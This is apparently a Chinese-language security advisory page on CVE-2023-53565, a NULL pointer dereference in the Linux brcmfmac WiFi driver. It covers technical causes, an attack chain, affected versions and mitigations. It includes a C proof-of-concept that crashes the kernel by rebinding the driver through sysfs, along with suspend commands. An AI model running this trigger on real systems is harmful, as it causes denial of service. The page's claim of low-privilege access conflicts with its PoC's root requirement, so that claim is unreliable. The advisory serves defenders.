IPBUF安全漏洞报告
English
CVE-2023-53565 CVSS 5.5 中危

CVE-2023-53565 Linux内核brcmfmac驱动空指针解引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53565
漏洞类型
空指针解引用(NULL Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel brcmfmac WiFi驱动

相关标签

空指针解引用NULL Pointer DereferenceLinux KernelbrcmfmacWiFi驱动本地拒绝服务本地提权内核漏洞Broadcom电源管理

漏洞概述

CVE-2023-53565是Linux内核中brcmfmac WiFi驱动存在的一个空指针解引用漏洞。该漏洞位于brcmfmac驱动的probe()函数中,当id参数为NULL时未进行有效检查即被使用,从而触发内核空指针解引用,导致内核崩溃(kernel oops)。该漏洞主要在两种场景下被触发:第一种场景是系统在从D3电源状态恢复时,brcmf_pcie_pm_leave_D3()调用brcmf_pcie_probe()重新探测设备,此时id参数为NULL;第二种场景是用户尝试通过sysfs手动绑定驱动时,sdio/pcie/usb的probe()函数会以NULL作为id参数被调用。已有用户在Dell XPS 13 9350等设备上报告在系统恢复(resume)时触发了该漏洞,导致WiFi功能完全停止工作。CVSS 3.1评分为5.5分,属于中等严重等级。攻击者需要本地低权限访问即可触发该漏洞,但无需用户交互,成功触发后将导致系统可用性完全丧失(内核崩溃),但不影响机密性和完整性。该漏洞已于2025年10月4日公开披露,修复补丁已合入Linux内核主线。

技术细节

从技术层面分析,该漏洞的根本原因在于brcmfmac驱动的probe()函数未对传入的id参数进行NULL检查。brcmfmac驱动支持多种总线类型(PCIe、SDIO、USB),每种总线都有对应的probe函数实现。当系统在PCIe设备的D3电源管理状态恢复过程中,brcmf_pcie_pm_leave_D3()会调用brcmf_pcie_probe()以重新初始化设备,此调用未传递有效的id参数,导致id为NULL。类似地,当用户通过sysfs的bind接口手动绑定驱动时,内核也会以NULL id调用probe函数。在probe函数内部,代码直接通过id->xxx方式访问id结构体的成员字段(如vendor、device等),当id为NULL时,访问偏移地址0x18处(对应结构体中某个字段)的内存即触发空指针解引用错误。从崩溃日志可见,触发地址为0x0000000000000018,对应brcmf_pcie_probe函数偏移0x16b位置。修复方案是在probe函数入口处检查id是否为NULL:对于PCIe和USB总线,尝试通过手动查找设备ID表来完成匹配;对于SDIO总线,由于没有辅助函数进行手动设备ID查找,直接在id为NULL时返回错误。该修复确保了手动绑定驱动和恢复过程中probe调用的正确性。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在运行受影响Linux内核的本地系统上获得低权限访问,且系统需配备使用brcmfmac驱动的Broadcom WiFi网卡(如Dell XPS 13系列)。
STEP 2
步骤2:触发条件构造
攻击者通过两种方式之一触发漏洞:(1)通过sysfs手动解绑再绑定brcmfmac驱动,使probe()以NULL id被调用;(2)使系统进入D3电源状态后恢复,brcmf_pcie_pm_leave_D3()在恢复过程中调用brcmf_pcie_probe()时传入NULL id。
STEP 3
步骤3:空指针解引用触发
brcmfmac驱动的probe()函数未检查id参数是否为NULL,直接访问id结构体中偏移0x18处的字段,触发内核空指针解引用错误(kernel oops)。
STEP 4
步骤4:系统崩溃/拒绝服务
内核空指针解引用导致系统崩溃或WiFi子系统完全失效,WiFi功能停止工作,需要重启系统恢复。攻击者实现了本地拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2023-53565 PoC - Trigger NULL pointer dereference in brcmfmac driver * * This PoC demonstrates how to trigger the vulnerability by manually binding * the brcmfmac driver via sysfs, which causes the probe() function to be * called with a NULL id argument. * * Prerequisites: * - Linux kernel with vulnerable brcmfmac driver * - PCIe/USB WiFi device using brcmfmac chipset * - Root privileges (required for sysfs driver binding) * * Usage: Run as root */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <dirent.h> #include <fcntl.h> #include <errno.h> /* Find the PCI device path for brcmfmac WiFi adapter */ int find_brcmfmac_device(char *path, size_t path_len) { FILE *fp; char line[512]; char vendor[16], device[16]; /* Search for Broadcom WiFi devices (vendor 14e4) */ fp = popen("lspci -D | grep -i 'network\|wireless\|14e4'", "r"); if (fp == NULL) { return -1; } while (fgets(line, sizeof(line), fp) != NULL) { /* Extract PCI address (format: XXXX:XX:XX.X) */ char *pci_addr = strtok(line, " "); if (pci_addr != NULL) { snprintf(path, path_len, "/sys/bus/pci/drivers/brcmfmac", pci_addr); /* Find the actual device in brcmfmac driver */ snprintf(path, path_len, "/sys/bus/pci/devices/%s/driver", pci_addr); if (access(path, F_OK) == 0) { /* Device already bound, need to unbind first */ char unbind_path[256]; snprintf(unbind_path, sizeof(unbind_path), "/sys/bus/pci/drivers/brcmfmac/unbind"); FILE *ub = fopen(unbind_path, "w"); if (ub) { fprintf(ub, "%s\n", pci_addr); fclose(ub); usleep(100000); } /* Now rebind to trigger the vulnerability */ char bind_path[256]; snprintf(bind_path, sizeof(bind_path), "/sys/bus/pci/drivers/brcmfmac/bind"); FILE *bb = fopen(bind_path, "w"); if (bb) { fprintf(bb, "%s\n", pci_addr); fclose(bb); printf("[+] Triggered CVE-2023-53565 via manual driver bind\n"); printf("[+] Check dmesg for NULL pointer dereference\n"); pclose(fp); return 0; } } } } pclose(fp); return -1; } int main(int argc, char *argv[]) { printf("[*] CVE-2023-53565 PoC - brcmfmac NULL Pointer Dereference\n"); printf("[*] Linux kernel brcmfmac driver probe() NULL id vulnerability\n\n"); if (getuid() != 0) { printf("[-] This PoC requires root privileges\n"); return 1; } char device_path[256]; if (find_brcmfmac_device(device_path, sizeof(device_path)) != 0) { printf("[-] No brcmfmac device found\n"); printf("[*] Alternative: Trigger via system suspend/resume cycle\n"); printf("[*] Run: systemctl suspend (then wake the system)\n"); return 1; } return 0; } /* * Alternative trigger method (suspend/resume): * * 1. Ensure brcmfmac WiFi device is active * 2. Suspend the system: echo mem > /sys/power/state * 3. Resume the system (press power button or open lid) * 4. During resume, brcmf_pcie_pm_leave_D3() calls brcmf_pcie_probe() * with NULL id, triggering the NULL pointer dereference * * Expected crash output in dmesg: * BUG: kernel NULL pointer dereference, address: 0000000000000018 * RIP: 0010:brcmf_pcie_probe+0x16b/0x7a0 [brcmfmac] */

影响范围

Linux Kernel < 6.6(包含brcmfmac驱动的受影响版本)
Linux Kernel 6.1.x(受影响分支)
Linux Kernel 6.4.x(受影响分支)
Linux Kernel 6.5.x(受影响分支)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:(1) 限制本地非特权用户对sysfs中驱动绑定接口的访问权限;(2) 对于笔记本用户,避免使用D3电源管理状态(可通过修改内核参数pcie_aspm=off或禁用WiFi设备的运行时电源管理来缓解);(3) 监控系统日志,及时发现异常崩溃事件;(4) 如频繁触发崩溃,可临时通过rmmod brcmfmac卸载驱动后重新加载以恢复WiFi功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表